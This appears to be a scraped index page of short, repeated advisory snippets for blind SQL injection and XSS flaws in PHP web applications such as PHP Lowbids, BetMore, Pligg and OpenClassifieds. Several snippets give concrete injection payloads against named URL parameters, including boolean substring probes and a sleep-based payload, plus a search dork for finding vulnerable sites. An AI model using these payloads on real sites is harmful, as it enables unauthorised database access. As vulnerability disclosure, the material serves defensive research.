PHP Lowbids - viewfaqs.php Blind SQL Injection

PHP Lowbids - viewfaqs.php Blind SQL Injection == +Script: PHP Lowbids +Version: n/a +Link: http://phplowbids.com == +Author: BorN To K!LL - h4ck3r +Contact: [email protected] == +3xploit: /viewfaqs.php?cat=Blind-Injection +3xample: /viewfaqs.php?cat=1 and substringversion,1,1=4 // true...

PHP Lowbids - 'viewfaqs.php' Blind SQL Injection

== +Script: PHP Lowbids +Version: n/a +Link: http://phplowbids.com == +Author: BorN To K!LL - h4ck3r +Contact: [email protected] == +3xploit: /viewfaqs.php?cat=Blind-Injection +3xample: /viewfaqs.php?cat=1 and substringversion,1,1=4 // true /viewfaqs.php?cat=1 and substringversion,1,1=5 // false ...

PHP auctions (viewfaqs.php) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications == Script: PHP auctions Version: n/a Link: http://phpauctions.info == Author: BorN To K!LL - h4ck3r Contact: email protected == 3xploit: /viewfaqs.php?cat=Blind-Injection 3xample: /viewfaqs.php?cat=2 and substringversion,1,1=4 // false ,,...

PHP auctions - 'viewfaqs.php' Blind SQL Injection

== Script: PHP auctions Version: n/a Link: http://phpauctions.info == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /viewfaqs.php?cat=Blind-Injection 3xample: /viewfaqs.php?cat=2 and substringversion,1,1=4 // false ,, /viewfaqs.php?cat=2 and substringversion,1,1=5 // true ,...

PHP auctions - viewfaqs.php Blind SQL Injection

PHP auctions - viewfaqs.php Blind SQL Injection == Script: PHP auctions Version: n/a Link: http://phpauctions.info == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /viewfaqs.php?cat=Blind-Injection 3xample: /viewfaqs.php?cat=2 and substringversion,1,1=4 // false ,,...

PHP Auctions Blind SQL Injection

== Script: PHP auctions Version: n/a Link: http://phpauctions.info == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /viewfaqs.php?cat=Blind-Injection 3xample: /viewfaqs.php?cat=2 and substringversion,1,1=4 // false ,, /viewfaqs.php?cat=2 and substringversion,1,1=5 // true ,...

Joomla Component com_allcinevid 1.0.0 Blind SQL Injection Vulnerability

Exploit for php platform in category web applications allCineVid Joomla Component 1.0.0 Blind SQL Injection Vulnerability Name allCineVid Vendor http://www.joomtraders.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta...

Joomla! Component allCineVid 1.0.0 - Blind SQL Injection

http://adv.salvatorefresta.net/allCineVidJoomlaComponent1.0.0BlindSQLInjectionVulnerability-18012011.txt allCineVid Joomla Component 1.0.0 Blind SQL Injection Vulnerability Name allCineVid Vendor http://www.joomtraders.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website...

Joomla! Component allCineVid 1.0.0 - Blind SQL Injection

Joomla! Component allCineVid 1.0.0 - Blind SQL Injection http://adv.salvatorefresta.net/allCineVidJoomlaComponent1.0.0BlindSQLInjectionVulnerability-18012011.txt allCineVid Joomla Component 1.0.0 Blind SQL Injection Vulnerability Name allCineVid Vendor http://www.joomtraders.com Versions Affected...

BetMore Site Suite 4 (bid) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications == Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: email protected == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection...

BetMore Site Suite 4 - bid Blind SQL Injection

BetMore Site Suite 4 - bid Blind SQL Injection == Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection ==...

AWBS 2.9.2 - cart.php Blind SQL Injection

AWBS 2.9.2 - cart.php Blind SQL Injection AWBS 2.9.2 Blind SQL Injection 0day ============================================================================================= Dork....: inurl:/cart?ca=addother&oid= Date....: 01-16-2011 Author..: ShivX Contact.: shivanxatgmaildotcom Vendor..:...

BetMore Site Suite 4 - 'bid' Blind SQL Injection

== Script: BetMore Site Suite Version: 4 Link: http://products.epromptc.com/betmore/?pt=4&rfid=55 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == 3xploit: /mainxa.php?lngx=true-value&x=true-value&xid=true-value&bid=Blind-Injection == 3xample: /mainxa.php?lngx=12&x=367&xid=2&bid=782...

14 CMS 3.0.1 Blind SQL Injection

14 CMS portal blind sql injection Vulnerability + Portal Name : ideaschool.ir + version : 3.0.1 + Author : Elvl000 - [email protected] ------------------------------------------------------------------------------------ + Vulnerability + sql...

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass SQL Injection Persistent Cross-Site Scripting on FrontPage

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass SQL Injection Persistent Cross-Site Scripting on FrontPage Author:Michael Brooks Rook Application:OpenClassifieds 1.7.0.3 download: http://open-classifieds.com/download/ Exploit chain:captcha bypass-sqliinsert-persistant xss on front page If...

Pligg XSS and SQL Injection

Credit: Michael Brooks Bug Fix in 1.1.2: http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/ Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+13D' &search=on&advancesearch= Search...

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass / SQL Injection / Persistent Cross-Site Scripting on FrontPage

Author:Michael Brooks Rook Application:OpenClassifieds 1.7.0.3 download: http://open-classifieds.com/download/ Exploit chain:captcha bypass-sqliinsert-persistant xss on front page If registration is required an extra link in the chain is added: Exploit chain:blind sqliselect-captcha...

Multiple Vulnerabilities in OpenClassifieds 1.7.0.3

I understand that this is a vain hope that bugtraq will start posting something useful. Author:Michael Brooks Rookbr Application:OpenClassifieds 1.7.0.3br download: http://open-classifieds.com/download/br Exploit chain:captcha bypass-sqliinsert-persistant xss on front pagebr If registration is...

Pligg 1.1.2 Blind SQL Injection and XSS Vulnerabilities

Exploit for php platform in category web applications Credit: Michael Brooks Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg1.1.2/search.php?adv=1&status= 'and+sleep9or+sleep9or+1%3D' &search=on&advancesearch= Search...

OpenAuto 1.6.3 Multiple Vulnerabilities

Exploit for php platform in category web applications Credit:Michael Brooks Affects:OpenAuto 1.6.3 Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass http://openautoclassifieds.com/ ---------------------------------------------------------------------------------------------------- Reflective XSS...